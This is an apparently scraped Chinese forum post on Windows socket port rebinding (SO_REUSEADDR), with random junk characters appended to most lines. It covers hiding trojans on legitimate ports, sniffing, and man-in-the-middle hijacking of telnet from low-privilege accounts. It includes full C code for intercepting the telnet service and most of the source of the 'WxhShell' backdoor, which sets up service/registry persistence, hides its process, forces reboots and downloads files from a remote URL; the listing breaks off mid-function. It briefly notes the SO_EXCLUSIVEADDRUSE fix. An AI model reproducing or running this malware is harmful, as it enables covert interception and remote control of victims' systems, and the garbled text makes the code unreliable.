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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k)4   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )5B90[M|t  
=\tg$  
  saddr.sin_family = AF_INET; pmfyvkLS  
C0'Tua'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); GMFp,Df  
c" yf>0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >zXw4=J  
V]IS(U(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ndN 8eh:OR  
P\SE_*&  
  这意味着什么?意味着可以进行如下的攻击: 9v^MZ ^Y{  
8%Pjx7'<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zL1H[}[z+  
2OEO b,`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #qHo+M$"  
*Bc= gl$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (G:$/fK  
R:=i/P/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  V"gnG](2l  
&AC-?R|Dp  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;[&g`%-H<  
a Z ^SK|E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WnA]gyc  
^oM*f{9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +b 1lCa_  
n ,`!yw  
  #include iz>a0~(K  
  #include pS9CtQqvgy  
  #include Ju+r@/y%  
  #include    G.1pg]P!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   M++*AZ  
  int main() A-uEZj_RD=  
  { r'-)@|  
  WORD wVersionRequested; LDO@$jg  
  DWORD ret; ?:~ `?  
  WSADATA wsaData; ]e 81O#t3  
  BOOL val; R:zjEhH )  
  SOCKADDR_IN saddr; 8 z\WyDz  
  SOCKADDR_IN scaddr; cvi+AZ=  
  int err; C^]bXIb  
  SOCKET s; Bx;bc  
  SOCKET sc; I 91`~0L*  
  int caddsize; Qr$ uFh/y  
  HANDLE mt; {V,rWg  
  DWORD tid;   BHqJ~2&FDW  
  wVersionRequested = MAKEWORD( 2, 2 ); U_Id6J]8  
  err = WSAStartup( wVersionRequested, &wsaData ); :43K)O"  
  if ( err != 0 ) { jO3Z2/#  
  printf("error!WSAStartup failed!\n"); 76(&O  
  return -1; > PfYHO  
  } DM"`If%3j  
  saddr.sin_family = AF_INET; :U^a0s%B  
   4>gk XfTF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 XV]`?  
^!!@O91T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); RR*<txdN  
  saddr.sin_port = htons(23); n"$D/XJO  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %mg |kb6n  
  { =D<46T=(RB  
  printf("error!socket failed!\n"); 1vu=2|QN  
  return -1; UPA))Iv>  
  } E:L =>}  
  val = TRUE; =k'3rm*ld  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 aV,>y"S  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c"v#d9  
  { Kmk<  
  printf("error!setsockopt failed!\n"); XQ.JzzY$  
  return -1; j 8YMod=  
  } K>"M# T  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  Hi|'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %BC*h}KGH  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 GjfY   
?&j[Rj0pH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) JstX# z  
  { {eMu"<  
  ret=GetLastError(); >n{(2bcFs  
  printf("error!bind failed!\n"); 9co1+y=i{  
  return -1; k5P&F  
  } Kw+?Lowp  
  listen(s,2); W1iKn  
  while(1) IX,/ZOZ|  
  { %HpTQ   
  caddsize = sizeof(scaddr); fOF02WP^  
  //接受连接请求 1Hp0,R}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <{JHFU`^  
  if(sc!=INVALID_SOCKET) A !x" *  
  { ym{?vY h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]@)X3}"!  
  if(mt==NULL) z ~T[%RjO  
  { @_YlHe&W  
  printf("Thread Creat Failed!\n"); -H#{[M8xX  
  break; D/"[/!  
  } l!EfvqWX  
  } ,0[bzk  
  CloseHandle(mt); S9t_2%e  
  } 1BmevE a)  
  closesocket(s); i\ X Ok!  
  WSACleanup(); p9y "0A|  
  return 0; {|O8)bW'  
  }   YO|Kc {j2e  
  DWORD WINAPI ClientThread(LPVOID lpParam) % Lhpj[C  
  { r*OSEzGUz  
  SOCKET ss = (SOCKET)lpParam; y9?BvPp+  
  SOCKET sc; u yzc"d i  
  unsigned char buf[4096]; 7AX<>^  
  SOCKADDR_IN saddr; /xWkP{  
  long num; jxm.x[1ki^  
  DWORD val; (>%Ddj6_>  
  DWORD ret; pJ;J>7Gt  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5rr7lw WZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !=_:*U)-'  
  saddr.sin_family = AF_INET; x}?y@.sn8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cO.U*UTmX  
  saddr.sin_port = htons(23); ~ b!mKyrZ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ola>] 0l  
  { BOQ2;@:3  
  printf("error!socket failed!\n"); s =! y%  
  return -1; ?kI-o0@O.  
  } HpC|dtro  
  val = 100; Ks(+['*S  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .DMeW i  
  { wm}6$n?Za  
  ret = GetLastError(); s7A{<>:  
  return -1; k"uqso/  
  } C7dy{:y`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4L85~l  
  { mVcpYyD|k  
  ret = GetLastError(); b'pbf  
  return -1; RFU(wek  
  } YR@@:n'TP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1Thr74M  
  { ;EP7q[  
  printf("error!socket connect failed!\n"); J^R))R=  
  closesocket(sc); ;]D@KxO$dJ  
  closesocket(ss); Mc#uWmc 7  
  return -1; lbZ,?wm  
  } w}c1zpa  
  while(1) -v'7;L0K  
  { B;r U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 KdHR.;*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r :{2}nE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ClCb.Ozj4  
  num = recv(ss,buf,4096,0); ( \{9W  
  if(num>0) r  /63  
  send(sc,buf,num,0); <*3{Twa1T  
  else if(num==0) ;nyV)+t+a  
  break; d kHcG&)  
  num = recv(sc,buf,4096,0); 0?qXDO&~  
  if(num>0) gbL99MZ@~  
  send(ss,buf,num,0); v`A^6)U#M  
  else if(num==0) o7i/~JkTP  
  break; OB)Vk  
  } S7N3L."  
  closesocket(ss); ,%w_E[2  
  closesocket(sc); @Ck6s  
  return 0 ; OkGg4X|9  
  } 8  k9(iS  
nyWA(%N1  
M=HW2xn  
========================================================== 8>RGmue  
{mY<R`Ee  
下边附上一个代码,,WXhSHELL s-Q-1lKV,  
tSV}BM,  
========================================================== 7h?PVobe  
7(rTGd0  
#include "stdafx.h" =u QCm#  
ywXerz7dUk  
#include <stdio.h> f50qA;7k  
#include <string.h> O&.^67\|  
#include <windows.h> .7++wo!,  
#include <winsock2.h> O`~G'l&@T  
#include <winsvc.h> ck>|p09q'9  
#include <urlmon.h> 5V!L~#  
C18pK8-  
#pragma comment (lib, "Ws2_32.lib") y:WRpCZoa  
#pragma comment (lib, "urlmon.lib") dE!{=u(!i  
B(w k $2  
#define MAX_USER   100 // 最大客户端连接数 ;2q;RT`h  
#define BUF_SOCK   200 // sock buffer M p:c.  
#define KEY_BUFF   255 // 输入 buffer M8X*fYn  
@ +h2R  
#define REBOOT     0   // 重启 5gARGA  
#define SHUTDOWN   1   // 关机 bAms-cXm  
-%*>z'|{  
#define DEF_PORT   5000 // 监听端口 g6o-/A!Q3  
*M\Qt_[  
#define REG_LEN     16   // 注册表键长度 U>7"BpC  
#define SVC_LEN     80   // NT服务名长度 6e&Y%O'8  
]`0(^)U &  
// 从dll定义API h@=H7oV7k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1dh_"/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d|k6#f-E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xRpL\4cs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'uBXSP#  
767xCP  
// wxhshell配置信息 z)xGZ*{=  
struct WSCFG { H$au02dpU  
  int ws_port;         // 监听端口 e;~[PYeu  
  char ws_passstr[REG_LEN]; // 口令 b)J(0,9`G"  
  int ws_autoins;       // 安装标记, 1=yes 0=no <&\HXAOd  
  char ws_regname[REG_LEN]; // 注册表键名 . \M@oF  
  char ws_svcname[REG_LEN]; // 服务名 z=<x.F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `=Pn{JaD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Izm8 qt=m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xfCq;?MupW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no REDh`Wd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Yxz(g]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fp|!LU  
htk5\^(X  
}; 85Zy0l  
o)F^0t  
// default Wxhshell configuration *X+T>SKL  
struct WSCFG wscfg={DEF_PORT, $J"}7+  
    "xuhuanlingzhe", CT+pkNC  
    1, jJdw\`  
    "Wxhshell", fT [JU1  
    "Wxhshell", 2c@4<kyfP  
            "WxhShell Service", J @C8;]  
    "Wrsky Windows CmdShell Service", |VbF&*v`  
    "Please Input Your Password: ", #X'!wr|-  
  1, P0uUVU=B|  
  "http://www.wrsky.com/wxhshell.exe", Sq8` )$\  
  "Wxhshell.exe" 8`XpcK-0  
    }; H8.U#%  
u:tLO3VfJ  
// 消息定义模块 b<};"H0a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e#JJd=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /*!K4)$-*2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w^e<p~i!^E  
char *msg_ws_ext="\n\rExit."; 9Slx.9f  
char *msg_ws_end="\n\rQuit."; o7<pI8\  
char *msg_ws_boot="\n\rReboot..."; A+w51Q  
char *msg_ws_poff="\n\rShutdown..."; SjV;& 1Z/  
char *msg_ws_down="\n\rSave to "; "& 'h\  
cdVh_"[  
char *msg_ws_err="\n\rErr!"; y3 @R>@$  
char *msg_ws_ok="\n\rOK!"; M@EML @~  
sYM3&ikyHI  
char ExeFile[MAX_PATH]; DcaVT]"  
int nUser = 0; Tn,'*D@l  
HANDLE handles[MAX_USER]; XBe!9/'k>  
int OsIsNt; W}#eQ|oCV  
1.U5gW/3L  
SERVICE_STATUS       serviceStatus; $Q*h+)g<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K.4t*-<`[  
+pp|Qgr 3  
// 函数声明 =UYZ){rt9E  
int Install(void); ?ORG<11a  
int Uninstall(void); hZf0q 2  
int DownloadFile(char *sURL, SOCKET wsh); (@@t,\iF  
int Boot(int flag); 0*S]m5#;  
void HideProc(void); Gh}sk-Xk=  
int GetOsVer(void); yM>:,TS  
int Wxhshell(SOCKET wsl); QxG:NN;jW  
void TalkWithClient(void *cs); }wRHNBaEB  
int CmdShell(SOCKET sock); Ae R3wua  
int StartFromService(void); ce-5XqzY@  
int StartWxhshell(LPSTR lpCmdLine); Q$Qs$  
'D(|NYY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IoWh&(+KdH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `wz@l:e  
.<5 66g}VP  
// 数据结构和表定义 BC0SSR@e  
SERVICE_TABLE_ENTRY DispatchTable[] = oV"#1lp*  
{ H!mNHY_fA  
{wscfg.ws_svcname, NTServiceMain}, kbS+ 3#+  
{NULL, NULL} =EwC6+8*M  
}; H"lq!C`  
Z~)Bh~^A  
// 自我安装 B 3<T#  
int Install(void) hvCX,^LoJ  
{ U86bn(9K  
  char svExeFile[MAX_PATH]; 5:v"^"Sz  
  HKEY key; c+$alw L~  
  strcpy(svExeFile,ExeFile); \g& P5  
5<h7+ %?t9  
// 如果是win9x系统,修改注册表设为自启动 ovJwo r  
if(!OsIsNt) { ~x;1&\'k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w&<-pIa`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dnt: U!TW@  
  RegCloseKey(key); hAq7v']m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A+v6N>}*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }tue`">h  
  RegCloseKey(key); 60p*$Vqy  
  return 0; OhMnG@@  
    } '&?cW#J?  
  } wh8h1I  
} A (z lX_  
else { t@(S=i7}-  
.`qw8e}y#'  
// 如果是NT以上系统,安装为系统服务 x&>zD0\ :\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @9S3u#vP  
if (schSCManager!=0) sbn|D\p  
{ x[l_dmq  
  SC_HANDLE schService = CreateService .: gZ*ks~  
  ( 6\"g,f  
  schSCManager, @%Y$@Qb{  
  wscfg.ws_svcname, }jTCzqHW]  
  wscfg.ws_svcdisp, B>sSl1opI  
  SERVICE_ALL_ACCESS, 0\XG;KA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A'Q=Do E  
  SERVICE_AUTO_START, w5zr Ek#  
  SERVICE_ERROR_NORMAL, CqHCJ '  
  svExeFile, b#\i]2b:  
  NULL, *b#00)d  
  NULL, ]M%kt+u!  
  NULL, a&oz<4oT  
  NULL, klSzmi4M  
  NULL vzDoF0Ts*p  
  ); AA$+ayzx9{  
  if (schService!=0) nGb%mlb  
  { T^FeahA7;  
  CloseServiceHandle(schService); $&D$Uc`U>  
  CloseServiceHandle(schSCManager); 7;0$UYDU*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n:QFwwQ`Q;  
  strcat(svExeFile,wscfg.ws_svcname); ^yLiyRe\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IJX75hE0g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'Pk1 4`/  
  RegCloseKey(key); @~WSWlQW  
  return 0; {[B^~Y>Lr  
    } rBNl%+ sB  
  }  ?X{ul  
  CloseServiceHandle(schSCManager); )Pr*\<Cld  
} |ci1P[y  
} 3O %u?  
um.s :vj$  
return 1; .CU~wB@h  
} /;P* ?  
Y\#+-E  
// 自我卸载 ,]CZ(q9-  
int Uninstall(void) fd Vye|%  
{ PeCU V6  
  HKEY key; w.v yEU^  
d3% 1 P)  
if(!OsIsNt) { E1'| ;}/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Th"0Cc)  
  RegDeleteValue(key,wscfg.ws_regname); )1de<# qM  
  RegCloseKey(key); $:&?!>H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4n1-@qTPF~  
  RegDeleteValue(key,wscfg.ws_regname); 4q%hn3\  
  RegCloseKey(key); o0SQJ1.a$  
  return 0; #Z%?lx"Q0  
  } M@)^*=0H  
} @log=^  
} _Nze="Pt  
else { 8Ter]0M&  
Hz A+Oi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BEU^,r3z  
if (schSCManager!=0) y9<]F6TT  
{ <$m=@@qg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 47 ]?7GU,  
  if (schService!=0) fg[]>:ZT.  
  { SU. 9;I !  
  if(DeleteService(schService)!=0) { UD.&p'^ /{  
  CloseServiceHandle(schService); i;+]Y   
  CloseServiceHandle(schSCManager); #f *,mY|>  
  return 0; E]Wnl\Be  
  } J2tD).G  
  CloseServiceHandle(schService); Iv J ;9d  
  } xw1@&QwM  
  CloseServiceHandle(schSCManager); cSMiNR  
} z x e6M~+  
} q ERdQ~M,  
QY$Z,#V)  
return 1; 8vP:yh@  
} a04I.5!  
Z{' .fq2A  
// 从指定url下载文件 W.nQYH  
int DownloadFile(char *sURL, SOCKET wsh) NhP&sQO  
{ fDq`.ZW)s  
  HRESULT hr; 4 VPJv>^  
char seps[]= "/"; drv"I[}{A  
char *token; MXQ S6F#  
char *file; _6Ex}`fyJ  
char myURL[MAX_PATH]; ZH@BHg|}H  
char myFILE[MAX_PATH]; h~\bJ*Zp  
]g}Tqf/N%  
strcpy(myURL,sURL); ]t4 9Efw  
  token=strtok(myURL,seps); &DUt`Dr w  
  while(token!=NULL) 0/r\#"+XT  
  { d5b \kRr  
    file=token; 4tZnYGvqe  
  token=strtok(NULL,seps); (YOp  
  } f76bEe/B9  
fe,A\W&8  
GetCurrentDirectory(MAX_PATH,myFILE); C`)n\?:Sth  
strcat(myFILE, "\\"); c= f _  
strcat(myFILE, file); SfHs,y6  
  send(wsh,myFILE,strlen(myFILE),0); =%wwepz6  
send(wsh,"...",3,0); }Y{aVn&C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L%3m_'6QP  
  if(hr==S_OK) xt{f+c@P  
return 0; k3:8T#N>!O  
else NZj_7j|o9  
return 1; ^:c:~F6J  
'yrU_k,h  
} jsXj9:X I  
83^|a5  
// 系统电源模块 > `uk2QdC  
int Boot(int flag) !a(#G7zA  
{ wK0= I\WN9  
  HANDLE hToken; KINKq`Sx  
  TOKEN_PRIVILEGES tkp; GpW5)a  
o*d+W7l  
  if(OsIsNt) { e3|@H'~k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VaLx-RX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8Gw0;Uu8D  
    tkp.PrivilegeCount = 1; kO1.27D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4sj:%% UE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "CS {fyJ  
if(flag==REBOOT) { M*& tVG   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S6J7^'h  
  return 0; yUZ;keQ_Tw  
} !A5UT-  
else { $U{ \T4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]+ \]2`?  
  return 0; ?2;gmZd7  
} 2E@ !  
  } upD 2vtU  
  else { ;k<n}shD  
if(flag==REBOOT) { Hg~O0p}[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <G5d{rKZ  
  return 0; . q=sC?D  
} qTGEi  
else { 6" s}<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zsQhydTR  
  return 0; 7DG{|%\HF  
} )$h<9e  
} A;pVi;7  
%J_`-\)"{~  
return 1; b IS 3  
} ;M<jQntqS{  
p@/i e@DX  
// win9x进程隐藏模块 .x 1&   
void HideProc(void) o0f{ePZ=  
{ G^Z SQ!  
ZTq"SQ>ym  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3Pb]Of#  
  if ( hKernel != NULL ) E"EBj7<s  
  { ddf# c,SQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,mu=#}a@}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xz @/^Cj  
    FreeLibrary(hKernel); p6qza @  
  } 5<?O S &B  
"`sr#  
return; %:^|Q;xe  
} T8ga)BA  
ql|ksios  
// 获取操作系统版本 b r"4 7i  
int GetOsVer(void) !,f#oCL  
{ rUb`_W@  
  OSVERSIONINFO winfo; NAy3Zd}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^'UJ&UfX  
  GetVersionEx(&winfo); UuNcBzB2d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :HDl-8]Lw  
  return 1; nm!5L[y!0  
  else t-xw=&!w  
  return 0; {x $h K98  
} Dm,*G`Js  
}d,iA FG  
// 客户端句柄模块 ^,Paih 2  
int Wxhshell(SOCKET wsl) Y#'?3  
{ l P4A?J+Q  
  SOCKET wsh; sCX 8  
  struct sockaddr_in client; rA/jNX@S  
  DWORD myID; |@}Yady@C  
Ha U6`IP  
  while(nUser<MAX_USER) :RJ=f  
{ 5`$.GV  
  int nSize=sizeof(client); H#/}FoBiS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LK "47  
  if(wsh==INVALID_SOCKET) return 1; IX!Q X  
XJ3 5Z+M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V b=Oz  
if(handles[nUser]==0) YS}uJ&WoF  
  closesocket(wsh); QzjLKjl7p4  
else ^%^~:<N  
  nUser++; 1:3I G=  
  } <f l-P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DPrFBy  
|<,!K;@  
  return 0; MKad 5gD*<  
} @"`J~uK  
%;SOe9  
// 关闭 socket tgu}^TfKkg  
void CloseIt(SOCKET wsh) sqAZjfy@  
{ '.n0[2>  
closesocket(wsh); Gw"H#9J} T  
nUser--; ,ux?wa+  
ExitThread(0); !nQ!J+ g  
} 1-@[th  
|Rh%wJ  
// 客户端请求句柄 *vx!twu1o  
void TalkWithClient(void *cs) e 1W9Z $m  
{ F_m[EB  
(lDbArqy  
  SOCKET wsh=(SOCKET)cs; n[jyhBf\W  
  char pwd[SVC_LEN]; VA9" Au  
  char cmd[KEY_BUFF]; ZDVz+L|p  
char chr[1]; 83"Vh$&  
int i,j; .%{3#\  
a$ f$CjQ  
  while (nUser < MAX_USER) { Kh)SgJ3B@  
b%w?YR   
if(wscfg.ws_passstr) { [B}$U|V0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1^G*)Qn5Df  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xWY%-CWY.  
  //ZeroMemory(pwd,KEY_BUFF); 95.m^~5  
      i=0; CJ*8x7-t  
  while(i<SVC_LEN) { Z J:h]  
D49yV`  
  // 设置超时 O|t@p=]  
  fd_set FdRead; j@jaFsX |  
  struct timeval TimeOut; S>W_p~ @  
  FD_ZERO(&FdRead); nf,R+oX  
  FD_SET(wsh,&FdRead); CzP?J36W^  
  TimeOut.tv_sec=8; 3` ov?T(H  
  TimeOut.tv_usec=0; jhd&\z-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b' 1%g}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oy I8}s:  
Tw:j}ERq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2}Ga   
  pwd=chr[0]; 3h:"-{MW.  
  if(chr[0]==0xd || chr[0]==0xa) { 0dv# [  
  pwd=0; ),#%jc2_^  
  break; =(ULfz[:  
  } ]8)nIT^EP  
  i++; 5PY,}1`  
    } _*d8:|qw  
o!q3+Pp;}  
  // 如果是非法用户,关闭 socket D4e*Wwk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d5/x2!mH8  
} dQD YN_  
_K(w &Kr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7Y`/w$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~x:\xQti  
ZT*RD2,  
while(1) { +Y7"!wYR>  
#S?xRqkc  
  ZeroMemory(cmd,KEY_BUFF); ('H[[YODh  
cG)i:  
      // 自动支持客户端 telnet标准   I9xQ1WJc`  
  j=0; 'CE3 |x\%K  
  while(j<KEY_BUFF) { EbEQ@6t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "E4;M/  
  cmd[j]=chr[0]; !j'9>G{T  
  if(chr[0]==0xa || chr[0]==0xd) { Wn61;kV_)  
  cmd[j]=0; C&Nga `J  
  break; |"4+~z%/9!  
  } R>BZQugZ~  
  j++; QU4/hS;Ux  
    } cg16|  
 T06BrX  
  // 下载文件 3q{op9_T7  
  if(strstr(cmd,"http://")) { [)K?e!c8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KI* erK [d  
  if(DownloadFile(cmd,wsh)) y|sU-O2}Dl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U?vG?{A  
  else T#ktC0W]h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [1 pWg^  
  } %Vf3r9 z  
  else { -4  ~(*  
TvV_Tz4e  
    switch(cmd[0]) { yV;_]_EO  
  `zD]*i(  
  // 帮助 M4MO)MYJ  
  case '?': { 8ZmU(m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S;pKL,d>r  
    break; l~|x*JTq  
  } L'=mDb  
  // 安装 1}O&q6\"J  
  case 'i': { *fz]Q>2ga  
    if(Install()) )U6-&-07  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); * z,] mi%  
    else rA<>k/a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ ZkSYW<  
    break; PtfxF]%H  
    } [^oTC;  
  // 卸载 xqP DL9\  
  case 'r': { r&$r=f<  
    if(Uninstall()) J.nJ@?O+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *{_WM}G  
    else QqpXUyHp[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F]_w~1 n5  
    break; :Z(w,  
    } oqLM-=0<}  
  // 显示 wxhshell 所在路径 dRl*rP/  
  case 'p': { Wt$" f  
    char svExeFile[MAX_PATH]; 4z {jWNM)N  
    strcpy(svExeFile,"\n\r"); PubO|Mf  
      strcat(svExeFile,ExeFile); lCyBdY9n  
        send(wsh,svExeFile,strlen(svExeFile),0); hUL5V1-j  
    break; ]3u$%v c  
    } dA[MjOd3  
  // 重启 L[Z SgRTu  
  case 'b': { y `)oD0)Fj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >bgx o<  
    if(Boot(REBOOT)) # Uc0 W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BWtGeaW/sr  
    else { qFqK. u  
    closesocket(wsh); #*J+4a w3  
    ExitThread(0); 2u B66i  
    } 9E@}@ZV(  
    break; Xs,[Z2_iq  
